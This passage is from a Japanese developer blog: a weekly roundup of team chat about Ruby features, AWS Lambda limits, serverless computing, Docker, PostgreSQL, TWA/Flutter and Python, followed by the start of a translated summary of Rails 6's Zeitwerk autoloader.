つっつきボイス:「そういえばHerokuも昔といろいろ変わって、Dockerコンテナも動くようになってるし、できることも増えてたりするし」「へ〜!」


⚓Ruby

⚓rescueをちょっとカッコよくリファクタリング(Ruby Weeklyより)

短い記事なので、コードは最後のだけ引用します。

class SomeAPIService
  def self.call
    perform_action
  rescue SomeAPIAccountExpired
    send_email_with_notification_about_expired_account
  rescue SomeAPIInvalidAPIKey
    send_email_with_notification_about_invalid_api_key
  rescue SomeAPIUnauthorizedAction
    Rollbar.error('log some useful info')
  end
end

つっつきボイス:「あーなるほど、Rubyのトリプルイコール===def self.===(exception)みたいにオーバーライドするのか」「すると上のようにrescueできると」「ほーほー!これは中々😋」「トリプルイコールはクラスの一致を取れたと思うので、それを例外クラスの一致チェックに使ってると」「そこに使うのね: 言われてみればたしかに〜」「PHPとかJavaScriptやってる人からすれば、===って完全な型一致という印象だし😆」「Rubyはそこが特殊😆

⚓RubyのTracePointを探る(Ruby Weeklyより)

# 同記事より
trace = TracePoint.new(:raise) do |tp|
  p [tp.lineno, tp.event, tp.raised_exception]
end
#=> #<TracePoint:disabled>

trace.enable
#=> false

0 / 0
#=> [5, :raise, #<ZeroDivisionError: divided by 0>]

つっつきボイス:「TracePointだ」「Brandon Weaverさんはこれでしばらくシリーズ記事を書くみたいです」「TracePoint、知っておくと便利だけど使う機会が年に1度あるかないか🤣」「🤣

⚓RubyのBEGIN/ENDがブロックを取れる

「Goby言語のst0012さんが、RubyでBEGINENDでブロック取れるって知らなかった〜と言ってたので」「おぉ、Rubyのこういう大文字定数にはときどきあまり知られてない機能がありますヨ🤓

「たとえばRubyにDATAってのがあるんですけど」「えっナニソレ?」「コードの中でDATAという定数を書いて、そのファイルの末尾に__END__って書くと、__END__から下にある文字列を丸ごとDATAで読み取れる↓」「それスゴい😳」「この間ちょろっと書いたNagios用のスクリプトで少し長めのERBでNagios configを書かないといけなかったんですが、そのときにこの方法でERBコードを読み込みました😎」「ヒアドキュメントよりよさそう😋」「ファイルの末尾にまとめて書けるから散らからないし🧹」「書くときに『たしかこんな機能があったはず』と思って探して見つけたし😆

# ruby-lang.orgより
sum = 0
DATA.each_line do |line|
  sum += line.to_i
end

DATA.rewind
p DATA.gets    # => "sum = 0¥n"

__END__
17
19
23
29
31

参考: constant Object::DATA (Ruby 2.6.0)

「これはRuby Gold級の技っぽいですね」「Rubyマニアじゃないとあまり知らないかも😆」「これはもっと知られてもいい機能」「Ruby Gold持ってませんでしたっけ?」「いやその、BEGINENDがブロック取れるというのは何とな〜く思い出したけどDATAは知らなかったマジで😅

Goby: Rubyライクな言語(2)Goby言語の全貌を一発で理解できる解説スライドを公開しました!

⚓その他Ruby




つっつきボイス:「LSPはランゲージサーバー」「ランゲージサーバーは流行って欲しい🙏


以下はつっつき後のツイートです。

お誕生日おめでとうございます🎊!人間ならそろそろ結婚して家庭を持ってそうな年頃ですね💒

⚓Ruby trunkより

⚓Ruby 2.7にEnumerable#tallyが入るお(Ruby Weeklyより)

#11076で元々count_byという名前で提案されたのがtallyに変わったそうです。

tally: {他動-1} : 〜を勘定する、計算する、数え上げる、集計する


つっつきボイス:「タリーって?」「何でも元々count_byって名前だったらしいんですけどtallyに変わったそうです」「はは〜、どの種類の要素がいくつあるかを数えてハッシュの形で返してくれるのか!」「こういうことたまにしますもんね😆」「するする😆」「自力で書くとそこそこ面倒なヤツ」「後はこのメソッドの存在を忘れなければ😆」「Ruby 2.7から入るそうです」「文章のアルファベットでeが一番多いみたいな、ある種の『黄金虫』的な問題を解くのが劇的にラクになりそうですね😋」「名前もcount_byよりいいかも」「count_byだと引数渡して数えるみたいに思えるし」

# 同記事より
%w(foo foo bar foo baz foo).tally
=> {"foo"=>4, "bar"=>1, "baz"=>1}

参考: 黄金虫 - Wikipedia

「これって先週のウォッチにあった、期待する値を渡すとそれを返せるメソッドを返すgemにちょっと通じるところがあるような(ウォッチ)」「そういえば先週あの後amatsudaさんからツッコミもらいました↓😅: MethodFinderっていうのがあるそうです」「😆

⚓クラウド/コンテナ/インフラ/Linux/Serverless

⚓AWS Lambdaの最適なタイムアウト(Serverless Statusより)


同記事より


つっつきボイス:「Lambdaは最近タイムアウトが伸びて長く実行できるようになってるんですよね」「知らなかった〜」「Lambdaの登場直後は30秒ぐらいしかなかった覚えあります🕢

「なので最近のLambdaだと確か15分ぐらいまで伸びて…ん?記事を見ると最大実行時間/リクエストが5分↑?」「ちょ😆この記事昨年夏なんですけど」「ホントだ🥺」「まあAWSのこうした制限はかなり頻繁に更新されるんですよ: ↓やっぱり今は15分」「そうだったんですね😳

参考: AWS Lambda の制限 - AWS Lambda


aws.amazon.comより

「Lambdaもこうした制限が何度も変わっています: Lambdaの場合、タイムアウトが30秒しかないとたとえばクローラのように時間がかかる処理を回せない」「あ〜」「当時そういうものを動かしたければLambda関数を分解しないといけなかったんですが、それが5分になり、そして最近になって15分になったおかげで、ある程度のバッチ的な処理でもLambdaで回せるようになってきた」「なるほど!」「まあLambdaでそういう処理を動かすのはどうかと思いますが😆: あくまでたとえとして」

「とにかく、AWSのこうした制限変更というか緩和は前提条件が変わるレベルと言ってもいいくらい♟」「たしかに」「30秒が15分になればユースケースがとても広がりますし💪

「たしかAWSのELB(Elastic Load Balancing)↓なんかもそうですね: 最初の頃はやはり30秒かそこらだったんですが、それだとデカいファイルをダウンロードしたときにぶった切られるという⚔」「でしょうね〜」「それが今のALBでは、おや、タイムアウトが制限事項に入ってないか↓: デフォルト60秒で自分で1 ~ 4000秒に調整できるらしい」「ちなみに以前のはClassic Load Balancer」

参考: Elastic Load Balancing(クラウドネットワークのロードバランサー - ELB) | AWS
参考: Application Load Balancer - Elastic Load Balancing

「EC2の課金が秒単位に変わったなんてのもそうで、前はできなかったユースケースも使えるようになったりする」「たとえばどんなユースケースでしょう?」「秒単位になれば、ささやかなバッチぐらいならEC2で動かしてもやっていけますね🧐: 昔EC2が時間単位だったときは、1秒動かそうが1時間動かそうが料金同じだったので」

参考: EC2 インスタンスと EBS ボリュームで 1 秒あたりによる請求が可能に | Amazon Web Services ブログ

「制約が変わると運用のプラクティスそのものが変わるので、押さえておかないといけないヤツ」「改定があったらRSSで更新情報取れたりするんでしょうか?」「制約の改定はだいたいAWS SummitとかreInventのタイミングで出ますね」「あ〜なるほど、イベントのたびに更新が入る感じですか」「そう!だからAWSのイベントのたびにこの辺を追いかけておくと改定をキャッチできたりしますね😋

「ただ制約の緩和はそれ以外のタイミングでしれっと行われることもありますが😅」「AWSの制限事項ってその都度調べないと見落としそうですね」「まあはてブで追ってればだいたい見えてくるので、見逃さないようにしておけばだいたい大丈夫👍

参考: AWS Summit Tokyo 2019 | 2019 年 6 月 12 (水) 〜14 (金) | 幕張メッセで開催
参考: AWS re:Invent 2018 | アマゾン ウェブ サービス

「ちなみに元の記事はタイムアウトの話してるけどもうタイムアウト変わってるから😆」「😆」「まあ5分と15分ならそんなに大きな違いじゃないかな: 30秒と5分は大違いだけど」「いずれにしろLambdaはこの記事でチェックしているようなところは見ておきたいですね: 考え方は通用する☺

⚓.devドメイン


つっつきボイス:「そうそう、devドメイン売り始まった🍌」「github.devとか取ってるのか」「大手の会社はとりあえす取っとかないと😆」「後でそいつから高値で売りつけられる😆」「早いもの勝ち」

「bpsで.dev取れるかな?」「bpsincなら普通取れそうだけど、3文字ドメイン取れるなら」「今取っちまおうか😆」(しばしチェック)

「やったavailable」「ほあっ初期費用40万💰」「さすがにポケットマネーの範疇越えるわ😇」「bpsincみたいに長いと安くなったりしないかな?」「課金は安くなったけど初期費用変わらない…😇」「短いドメイン名は価値高い🗼

「まあ初期費用が高いのにはドメインハイエナ防止の意味合いもあるんでしょうね」「ハイエナでなくても面白半分でドメイン買われるかもしれないし」

「お、twitter.devがavailableですって」「取れば?😆」「いやいやそんな😆」「まあ今どきは明らかに本人でないドメインをたとえ取れたとしてもレジストラ側で拒否されるだろうし」「悪質なのはアカンと😈」「google.devは…使用不可」「でしょうね〜」

「40万は無理だからbabaさんにbpsのdevドメインおねだりしちゃおうかな🤣」「40万あったら一番いいMacbookをフル装備で買えちゃうし」「でもたとえドメイン買っても悪質とみなされたら取り上げられちゃうんですよね🤣」「何かのはずみでそれ食らったらキツイ😇」「まあ返金ぐらいしてくれるんでしょうけど」「ドメイン購入先の規約次第だけど返金は基本ダメなんじゃないかな〜」

その後ドメイン買うかどうしようか話がSlackで進行しました。

「もし取れたらAWSのRoute 53で管理したい」「そうすっといろいろと便利そう😋」「今使ってるドメイン管理会社の画面がイケてないし反映遅いし😅

Amazon Route 53(クラウド DNS - ドメインネームサーバー) | AWS

⚓バークレイのサーバーレスコンピューティング総括論文(Serverless Statusより)


つっつきボイス:「Serverless Statusでトップ記事だったのがこの論文でした」

  • サーバーレスコンピューティングとは
  • 黎明期
  • 今日のサーバーレスプラットフォームの制約
  • サーバーレスコンピューティングは今後どうあるべきか
  • サーバーレスの落とし穴
  • まとめと今後の予測

「ざっとアブストだけ読んでみるとサーベイ論文らしい: サーバーレスの歴史と現状をアットアグランスでひととおり見渡せる感じ」「この間のEnvoy(ウォッチ20190212)もあるかな〜そこまで新しくはないかな?: お、論文は今年2月だからめちゃ新しい」

「こういうカテゴライズいいわ〜↓」「サーバーレスコンピューティングでは通常のプログラミングと違うさまざまなリソース制約とかがあるみたいな話」「そのあたりを知るのにいい論文👍」「これはやる気ある人が集まって輪読とかやってもいいんじゃね?」「章単位ならそんなに大変じゃないかも」「じゃ社内の英語強い勢を巻き込みますか😆」「技術論文だけに専門用語の嵐だから英語力よりコンピュータサイエンスの基礎用語を押さえてる人が欲しい感じ😆


同論文より

⚓Docker創業者のお別れブログ記事


つっつきボイス:「最後はDockerの創業者がおさらばしたというブログ記事です」「割と言葉のキツイ人だったような気が😆: DockerがrunCになったときにも放言してTwitterとかからツッコまれまくったような覚えが」「runC?」「まあDockerのコアがオープンソースになってみたいなヤツ」

参考: はじめてのrunC - Qiita

「今ってDockerのお株が他にどんどん奪われてる感じじゃないですか」「今のDockerはどちらかというと設計全体をDocker化するという位置付けですが、元々は単にコンテナを動かすランタイムだったんですよね: そこをrunCに取られたらもう何も残らないという😆」「Docker社自体もマネタイズの機会を逃しつつあったりするし創業者としてはツラいでしょうね」「といってrunCの流れに逆らっていたらDockerはこんなに流行らなかっただろうし」「オープンソース界隈とうまくやりとりできる人じゃなかったのかななんて😆」「Redisのマネタイズの件もざわついてましたね」「この辺はいろいろ難しいな〜」

「今Docker Hubを有料で使ってる人ってほぼいないっしょ?」「Docker SwarmもKubernetesにお株奪われてる感あるし、どこで儲けを出したらいいんだみたいな」


hub.docker.comより


docker/swarmより

「Docker EEはDocker社がメンテしてると思ったけど、通常のDockerとの違いよくわからない😆」「改めて見てみると↓、認定されたインフラ/プラグイン/ISVコンテナが使えるとかか」「他のソフトウェアでもできるものが多い感😆

参考: Dockerが商用版Dockerとして「Docker Enterprise Edition」発表、認証済みイメージやプラグインなど提供。無償版は「Community Edition」に - Publickey

「ちなみに上の記事はFacebookで見かけたんですが、そこで話題になってたのが『このヨットの絵、おかしいだろ』↓の方でした」「すごくどうでもいい話😆」「私ヨットのこと全然知らなくてどこが変なのかわかりませんでした😅」「これじゃ前に進まないだろみたいな😆


同ブログより

⚓その他クラウド



つっつきボイス:「卜部さんのツイートが目に止まったので」「黙ってマイク内蔵でしかもOTAで有効、そりゃエグすぎる😇」「OTAって?」「On The Airなので要はネット越しに音取り放題🧐」「ひょえ〜😭」「それを隠し機能とかもう何というか」

参考: OTA: 用語解説辞典|【公式】NTTPC

⚓SQL

⚓PostgreSQLのfsyncバグ


つっつきボイス:「あーこれ見た見た!」「ファイルシステムごとの挙動の違いを見落としてたとかそんな話」「FreeBSDとzfsなら大丈夫っぽい」「まあfsyncが失敗するようなユースケースはオンプレミスではほぼありませんけどね: その代りNFSみたいなネット越しだと普通に失敗しますが😇

参考: Network File System - Wikipedia

⚓Rails開発者にとってSQLを学ぶのが重要な理由7つ


つっつきボイス:「Everyday Railsの記事です」「SQLが重要なのはもうあったりまえの話☺」「そういえばこの間のSQLQL話(ウォッチ20190212)の『Railsエンジニアはもっとデータベースを大事にすべき』で、はてブで誰かが『ごめんなさい』とコメントしてました」

「実際、Railsがどれだけ進化しようとデータがRDBに入っている限りRailsとRDBの間の通信はSQLになるんだから当然大事😤」「Railsがいくら速くてもSQLが遅かったら遅くなるし😆」「開発が極まってくればいずれ生SQLを書くことになるんだし😆」「そうそう、SQLを書ける能力はいざというときにとっても必要」

⚓その他SQL


つっつきボイス:「これは久しぶりに私には翻訳不可能と思った記事でした: データベースを無理やりバレエの用語になぞらえてみたそうですが、バレエの用語や素養が私にまったくないので面白みを理解できないという😅」「これは英語が読めてもわけわかんない🤣」「SQLの構文をバレエに絡めてるっぽい: これの次はこれみたいに順序が決まってるとか」「これはもうネタ記事☺


同記事より

だいぶ以前ですが、教育テレビでたまたま見かけたジュリアーノ・ペパリーニという男性バレリーナ(男性だからバレリーノ?)に思わず見入ってしまったのを思い出しました。バレエもダンスもわかりませんが、彼がくるくる回りながら登場しただけで、まるで星屑を振りまいてるような錯覚すら感じました。今は舞台演出家として大成功しているらしいのですが、彼自身のバレエ動画がネットにさっぱり見当たりません😢

GIULIANO PEPARINI – SHOWREEL from giuliano peparini on Vimeo.

参考: Giuliano Peparini - Wikipedia — イタリア語🇮🇹ですが

⚓JavaScript

⚓Trusted Web Activities(TWA)とKotlin/NativeとFlutter

今日行われたBPS社内勉強会での「DroidKaigi 2019」報告会でFlutterやKotlinなどとともにTWAの話題もあったので。

参考: DroidKaigi 2019
参考: PWA+TWAでウェブサイトを完全アプリ化、PWAサイトのGoogle Play登録も可能に | 海外SEO情報ブログ


つっつきボイス:「今日の勉強会所要で出席できなかったけどTWAの話題とか聞きたかったんですよね😅」「勉強会ではkazzさんがとても的確な質問をしてくれてましたよ: morimorihogeさんもTWAが気になってたって: DroidKaigiに行った人はぶっちゃけTWAはあんまりマークしてなかったそうですが😆」「だ、誰か書き起こしを😆」「今回YAMAHAのいいスピーカーフォンを録画に使ったので音声クリアだと思います😋

「うぅ、この色合い↓、Windowsノートだと目がおかしくなりそう😵」「Macだともうちょっとオレンジっぽいような?」(覗き込んで)「あ〜これはかなり目に滲みる」「一応Adobe RGBに設定してるんだけど😅」「どことなくメルカリっぽい色合い?」「あ、スポンサーにいるし」


droidkaigi.jpより

「AndroidでJavaとか特にKotlin書いてる人たちにとっては、そこにWebエンジニアが入ってきて作業を分担できるのは結構エポックメイキングというか」「TWAやるのは主にJavaScripを書く人たちということになりますね」

「Kotlin勢としては、どちらかというとKotlin/Nativeの話題の方が気になってたようです」

参考: Kotlin/Native を Android/iOS アプリ開発に導入しよう - Qiita

「で社内のiOS勢が気にしてるのはマルチプラットフォームなGUIで、中でもFlutter」「勉強会の質疑応答では、TWAとKotlin/NativeとFlutterがさながら三すくみ的な様相を呈してました🤣」「そうそうそんな感じ🤣」「Kotlin勢はDartで書きたくない、とか🤣」「Dartは自分もちょっとね〜🤣

Flutter: 標準ウィジェットをコピーして改造する

参考: Dart - Wikipedia
参考: Dart 2 | Dart — 昨年2が出てたんですね


dartlang.orgより

「Kotlin/Nativeってだいぶ前からやってたはずだけど、今どのぐらい進んでるんだろう?」「勉強会の報告ではいろいろ策定中という話だったので、まだproductionで使うほどではないのかなとも思ったり」「ライブラリもまだ足りないらしいですね」

「まあWeb開発チームとしては、ガワネイティブで食えるようになったらそれはそれでデカいんじゃね?と思ったりして😆」「かもですね😆: 見た感じですが、TWAに乗るよりFlutterの方がよさそうなのかなとちょっと思ったり」「FlutterはReactとほぼ同じ感じで書けるからって強調してましたね」「Flutter勢からの勧誘😆」「でもFlutterはDartですよね😆」「Dart自体がJavaScriptの置き換えを目指してる言語だし、まあどうにかなるかななんて😆

「この場合ガワネイティブってどう理解したらいいでしょうか?」「要するにWebViewが入ってるだけのアプリ」「ガワだけネイティブ🍩」「WebViewが立ち上がると後はWebViewの中でWebアプリケーションを動かすイメージ」「ちょっとElectron的な」「AndroidアプリなりiOSアプリの形になってないとアプリストアで配信できませんしね」

参考: WebViewとは - IT用語辞典


electronjs.orgより

「まあガワネイティブがReact Nativeと同じなの違うの?って聞かれたら違うんだけど😆: React NativeはJavaScriptでReact書いたらそれがネイティブアプリになるというヤツだし」「でもガワネイティブの方が歴史は古いという🕋」「ですよね😆」「今日の勉強会で途中からネイティブの意味がだんだんよくわからなくなってきました😆」「アプリケーションそのものはWebなんだけど、というか」「ガワネイティブでも、たとえばカメラ機能の部分だけ自分でちょこっと書いたりとかはするけど、他の部分はすべてWebViewにお任せしちゃう」


facebook.github.io/react-nativeより

「TWAだけど、ちょろいAndroidアプリみたいなのをささっと書けたらアプリの単価も取れたりして😆」「いいかも😆」「ほら、Webをアプリの形にできるとたとえばHomeボタンを無効にするとかできるし」「Backボタンとかもですね」「iOSアプリにもそういうモードがあって、それで業務用アプリとして使えるようにしたり」「その意味で、形だけでもネイティブアプリにできるのは大きいっすね😋」「それもあってガワネイティブには結構期待してる😘

「TWAとPWAって同じじゃないけど割と一緒に出てくることが増えてるっぽいですね」「PWAはAndroidとかに限らない話ですが、TWAはGoogleがやってるストアで扱うための仕組みの方ですね🧐

WebサイトをPWA(Progressive Web App)に変える簡単な手順(翻訳)

「PWAとかに投資するよりは…という気がちょっとしましたけど」「まあPWAに投資したいというより、RailsでもVue.jsでもいいのでちょろいアプリをささっとPWA化できたらいいよね、ぐらいの感じで」「ぶっちゃけそれ用のヘッダーをつければ基本的にPWAにできるし: それだけだとUIというかUXまでは最適化されないにしても」「あ〜なるほど、オフラインでは使えないにしても、アプリらしい体裁でホーム画面にボタン置くぐらいのことはヘッダというかマニフェストつけるだけでできると」「そうそう、それだけでやれるならうちらもアプリ作れますって言えるし😋」「そこまでラクにできるなら夢ありますね〜✨」「どってことないといえばそうなんだけど、PWAでWebアプリの単価上げるのやってみたい😍」「1.5倍ぐらいになったりして」

「ところで今回のDroidKaigi会場はBPSから近いのか」「発表者は2軒目のもうやんの隣とか言ってましたけど」「それって😆」「方向感覚がすべて食べ物屋ベース😆

⚓その他JavaScript


つっつきボイス:「mizchiさんのインタビューです」「mizchiさんがインタビューされてるのかと思ったらインタビューする側なのか」「フリーランスになったからこういう仕事もやってるのかな」

⚓CSS/HTML/フロントエンド/テスト

⚓WebAuthnとFIDO


同サイトより


つっつきボイス:「はてブからです」「生体認証をWebブラウザでやるみたいな感じだった」「そういえばこういうのあったあった: 認証機器の種類を問わずこのフレームワークでやれるとかそういうの」

参考: 生体認証 - Wikipedia

「いつも思うけど、認証は難しいというか、どこまでやるべきか感が半端ない」「たしかに〜」「もちろん、これが漏れたら会社潰れるみたいなのはちゃんと守らないといけないけど、それ以前にリスクの分散も必要になってくるし」

「ところで何でWebAuthnのnが最後に?」「ググって見つかりやすいようにとか?」「mattnさんみたい😆

⚓最新HTML/CSSコードスニペット


つっつきボイス:「管理画面ぐらいならこういうのでも別にいいかなと☺」「社内だとデザインチーム向けの記事ですかね」「ランディングページ(LP)ぐらいだったらこういうのをふんだんに使ってもいいんじゃないかと😆

「これとかもうスゴいな〜↓」「CSSアニメーションでやるとかスゴすぎ😳」「もう発想一発の世界😆」「これCSSだから文字を選択できるし、文字を移動しているのか書き換えているのかも一発でわかるし」

See the Pen
Flipping Out
by Jon Kantner (@jkantner)
on CodePen.

「思いつきですけど、近い将来にテキストはこんなふうに動的にするのが普通になったりするかなと: 重要な部分がプルプル震えて視認性をアップするとか」「まーなくもないかも?」「今の絵文字は色まで含んでるし、文字とはグリフとは何ぞやみたいなのもぶっ飛ばしつつあるというか☺

⚓その他フロントエンド



charlesproxy.comより


つっつきボイス:「これも今日のDroidKaigi報告会で触れられてました」「BPSのアプリチームの人が言うには、Charlesは有料だけどできがいいので使ってるそうです」「ほうほう、普通にプロキシでデバッグできるサービス: この種のツールは昔からいろいろありますが、使いやすいのが一番😋

「ちなみにこの種のツールはカスタム証明書が入れられるかどうかがポイント: それができないと話にならない」「あー」「でないとHTTPS通信をキャプチャしても暗号化を戻せないから読めない😆

「モバイルアプリはWebみたいにブラウザのデバッガーが見えないからこういうのが必要なのかなと思ったのですが」「Webでも必要なときはありますね: ここまでしなければならないほどの状況はめったにありませんが」「おー」「HTTPレベルの通信であればブラウザのdevツールで見えます: たとえば(API触ったことはないけど)WebSocketなんかで、TCPで言うurgentフラグみたいなのを使って今バッファにあるものを吐き出させるなんてときに、それが正しく動作しているかどうかを確認するにはHTTPレベルのキャプチャでは無理で、パケットレベルでのキャプチャが必要になるでしょうね」「なるほど」

⚓言語

⚓最近のPython環境構築


つっつきボイス:「Rubyでrbenvやらbundlerやらでやってるのと同じようなことをPythonでもやってるんだなと思って」「まあpyenvとかanyenvあたりでやれそう」

[Rails 5] rbenvでRubyをインストールして新規Rails開発環境を準備する

「記事ではこのツールがいいとかAnacondaは古いとか書いてあってコメントでツッコミがあったりしてますね」「Anacondaというと自分はRed Hatのインストーラの方を思い出すし↓」「自分もそれ聞いたことあったし」「リンク先はGUIだけど、CUIのcurses的なAnacondaもあった気がする」「PythonのAnacondaは機械学習で入れがちなライブラリだったと思うんですが、jupyter notebookあたりと一緒にインストールしたときに入ってきた覚えがあります」

参考: 第13章 Anaconda を使用したインストール - Red Hat Customer Portal
参考: curses - Wikipedia

「ところで採用面接なんかでも最近Pythonかじってる人がだんだん増えてきた感」「自分も最近触るはめになってます😅」「流行りの言語でもあるし」「業務でどこまで使うかだけど🤔

「Pythonでビジネスロジック書いてるって話はなぜかあまり聞かない」「そういえば」「機械学習とかAIは基本Pythonだろうけど、WebアプリとかになるとDjangoとかやってる話とか見聞きしてもそっちはあまり聞かないし」

「以前雑談してたときに聞いた話なんですが、以前Pythonを死ぬほど書いてた人が今はRubyがいいと言ってて、その理由がPythonは彼にとっては走らせてみないと挙動がわからないからということでした: Rubyは見ればだいたい挙動がわかるし、うんと小さいコードなら書いていきなりpushとかすることもたまにやったりするとも言ってました」「一般にはPythonの方がコードのブレが少ないって聞きますけど、意外ですね」「そうそう、Pythonの方が誰が書いても同じようなコードになるとか聞くし」

「自分の印象だと、Pythonはあんまりクラスのこととかうるさく言わない感じがしました」「オブジェクト指向という意味ではRubyの方が読みやすいとかそういうところがあるのかしら?」「自分のPythonの使い方がシェルスクリプトに毛の生えたようなものなので😅

「何となくだけど、PythonはAtCoderみたいなプロコン的なところには向いてる気がちょっとした: 解くべき問題がはっきりしてて、かつ制限時間内に解くみたいな状況」「あー、一人でできる規模で、設計とかあまり関係ないところとか」

参考: AtCoder

「まあ今どきは大きいものについてはオブジェクト指向設計でやるのが当たり前ですが、オブジェクト指向設計の何がいいかというと、忘れられるところ🤣」「🤣」「自分が使ってるものの内部を特に気にせず使えるのがいいところ😋

⚓その他言語


つっつきボイス:「Matzから若い人へのアドバイス的な」「自分のやってきたことは再現性がないのであまり参考にならないけどみたいな」「上のツイートの前には以下がありました↓」「4番目は笑い取ろうとしてますね😆」「きっとそう😆

「Rubyについては、たしかにタイミングの要素はとっても大きかったと思うし: みんながPHPで辟易してて、かつフレームワーク戦争の終息が見えなかった、まさにちょうどそのときにRailsが出現したので」「あの当時3つぐらいフレームワークが乱立してましたよね」「自分も3つぐらいしょうがなく使ってたし: 何でDAOをいくつも使わなきゃいけないんだとか😅

「それがRails出現後はいっせいにRailsっぽいフレームワークに落ち着きましたし😆」「そうそう!何だよ結局Laravelかよって😆」「Railsが出現したことで仲の悪いPHPフレームワーク同士の結束が急に強まったというか😆」「今のPHPフレームワークならちょっと触ってみてもいいかな〜なんて😆

「今のPHPは型ヒント付けられるし、PHPをstrictモードで使うなら割と頑張れる気がする」「お〜」「Rubyと違って引数の型を書ける」

参考: PHP: 関数の引数 - Manual — 型宣言(タイプヒンティング)
参考: PHP: 新機能 - Manual — strictモード

「D言語ちょっぴりやったことある😆」「言語の登場の早い遅いとかちょっとしたタイミングで運命が変わるってたしかにあるな〜: WebObjectsも早すぎる登場だった感あるし」「JavaScriptも一度滅びかけたのが完全に甦ったし、あのObjective-Cなんてのも当時滅びるしかないと思ってたらNeXTで全面採用されて今やiOSまでObjective-Cだったりするし😆」「ほんと先のことはわからん😆」「ジョブズがあのときその選択を取らなかったら今絶対残ってなかったろうし、その意味では彼がObjective-Cを復興させたといっても過言ではないし」

参考: WebObjects - Wikipedia
参考: Objective-C - Wikipedia

「そういえばObjective-Cの本って、すごく古い本とすごく新しい本のどっちかしかない🤣」「間がごっそり抜けてる🤣」「NeXTの時代とiOSの時代」「Objective-Cで最大にキモいのはCと完全コンパチなところ」「そうだった!」「Objective-CはC言語のプリプロセッサだから、実際にはCのコードを出力するし」「知らんかった〜」「Objective-Cの構文キモチワルイ🤢」「(指で角かっこ[ ]作って)これですよね?」「それそれ😆」「名前付き引数あるのに順序が決まってるとか」「なに〜😆」「それ名前付き引数なんでしょうか😆」「Cとの互換性を保つためなのでしょうがない🧐

// Wikipediaより
val = [obj1 msg: [obj2 msg]];

⚓その他

⚓ATMも顔認識で


つっつきボイス:「そういえばセブン銀行も最近ATMの利用率が下がってるせいで手数料収入減ってツラいらしいし😆」「たしかに現金利用する機会減ってますし」

⚓MacでEXE


つっつきボイス:「MacだとたまにEXEがzipに入ってても安心しきっちゃってたし」「してた〜」「いや安心はしないけどっ😆

⚓その他のその他

参考: 誰でも簡単に「縫合が必要なレベルの切り傷」に応急処置を施せる「ZipStitch」 - GIGAZINE


つっつきボイス:「この傷本物なんでしょうね(イタソー)」「プロレスラーが接着剤で応急処置してから病院に行くみたいなのよりはまともそう?」「これってインシュロック(結束バンド)みたいだし」「インシュロックだ!」「アウトドアで欲しいヤツでしょうね」

参考: よくあるインシュロックの誤使用例 |ヘラマンタイトン株式会社


参考: 実在しない人の顔写真を無限に生成できるWebサイトが公開。ディープラーニング技術を応用 - Engadget 日本版


つっつきボイス:「実在しないっていうのは統計的にそうだろうと言ってるだけなんでしょうね」「混ぜてるから実在しないとかそういう感じかと」「実在しないことを直接バリデーションできたらスゴいし😆」「悪魔の証明😈

参考: 悪魔の証明 - Wikipedia

⚓番外

⚓ウミヘビ

⚓宇宙2題


同サイトより


同サイトより


つっつきボイス:「1つめは大学のときの知り合いが趣味で作ってるはやぶさの軌道を追いかけるサイトなんですが、何年も前にNASAから(別のアプリですが)『これ使わせてくれ』って言われたという何だかスゴい人です」「ほぇ〜」

「2つ目はページのナビゲーションが見事だったので: とにかくページを下にスクロールしてみてください」「ほっほ〜☺


今回は以上です。

バックナンバー(2019年度第1四半期)

週刊Railsウォッチ(20190212)EnvoyとIstioに大注目、SQLQLとは、buildkite.comのCI、さよならItanium、PWA vs Androidほか

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやRSSなど)です。

Rails公式ニュース

Ruby Weekly

Hacklines

Hacklines

WebOps Weekly

webops_weekly_banner

Publickey

publickey_banner_captured

DB Weekly

db_weekly_banner

Serverless Status

serverless_status_banner

Rails 6 Beta2時点のZeitwerk情報(要訳)

$
0
0

概要

MITライセンスに基づいて要訳・公開いたします。

原文はかなり走り書きのようなので、リリースまでのつなぎとご理解ください。

Rails 6 Beta2時点のZeitwerk情報(要訳)

間もなくリリースされるRails 6のBeta2でZeitwerkが統合されます(訳注: 既にBeta2がリリースされました)。

Rails 6の最終版にはZeitwerkの正式なドキュメントが付くことになりますが、それまでは本記事が理解に役立つことでしょう。

Zeitwekの目玉機能

  • クラス定義やモジュール定義の定数パスを安定して使えるようになります。
# このクラスの本体のオートロードはRubyのセマンティクスと一致するようになる
class Admin::UsersController < ApplicationController
  # ...
end
  • 既知のrequire_dependencyユースケースはすべて排除されました。
  • 実行順序に依存するオートロード定数のエッジケースも解消しました。

  • オートロードは、現在サポートされているような「Webリクエストの明示的なロック」に限らず、一般的にスレッドセーフになります。たとえば、bin/rails runnerで実行されるマルチスレッドのスクリプトを書けば問題なくオートロードされるようになります。

他にも、追加コストなしで以下のようなパフォーマンス上のメリットをアプリで得られます。

  • 定数のオートロードは、ファイルシステムの相対マッチを探索するためのオートロードパス(path)のスキャンと無縁になりました。Zeitwerkはひとつのパスのみで処理を行い、オートロードは常に絶対ファイル名を用います。さらに、そのひとつのパスからサブディレクトリへは、名前空間が使われている場合にのみ遅延アクセスされます(訳注: 原文のpassはpathの誤りと判断しました)。
  • ファイルシステム上のファイル変更によってアプリで再読み込みが行われても、gemとして読み込まれたエンジンのオートロードパス上にあるコードは再読み込みされません。

  • eager loading: アプリの他に、Zeitwerkが管理するすべてのgemのコードについてもeager loadingされます。

オートロードのモード

Rails 6のオートロードには:zeitwerk:classicという2つのモードがあります。これらについては新たに用意されたconfig.autoloaderで設定されます。

CRubyで動くRails 6では、デフォルトで:zeitwerkモードになります。以下の設定はconfig/application.rbで自動的に有効になります。

load_defaults "6.0"

アプリを:classicモードで動かすには、上のデフォルト設定が読み込まれた後の行で以下を記述します。

config.autoloader = :classic

APIの現状

Zeitwekモードの最初のAPIは収束しつつありますが、現時点では検証の余地が少々残されています。6.0.0.beta2以降のRailsをお使いの場合は、最新のドキュメントをご覧ください。

オートロードパス

オートロードパスの設定ポイントとして、引き続きconfig.autoload_pathsが残されます。アプリの初期化中に手動でActiveSupport::Dependencies.autoload_pathsに設定することもできます。

require_dependency

require_dependencyの既知のユースケースはすべて排除されました。原則としてrequire_dependency呼び出しはコードベースからすべて削除すべきです。STIについては後述します。

STI

Active Recordで正しいSQLを生成するには、STI階層が完全に読み込まれる必要があります。Zeitwekのプリロード機能はこのユースケースに対応すべく設計されました。

# config/initializers/preload_vehicle_sti.rb

autoloader = Rails.autoloaders.main
sti_leaves = %w(car motorbike truck)

sti_leaves.each do |leaf|
  autoloader.preload("#{Rails.root}/app/models/#{leaf}.rb")
end

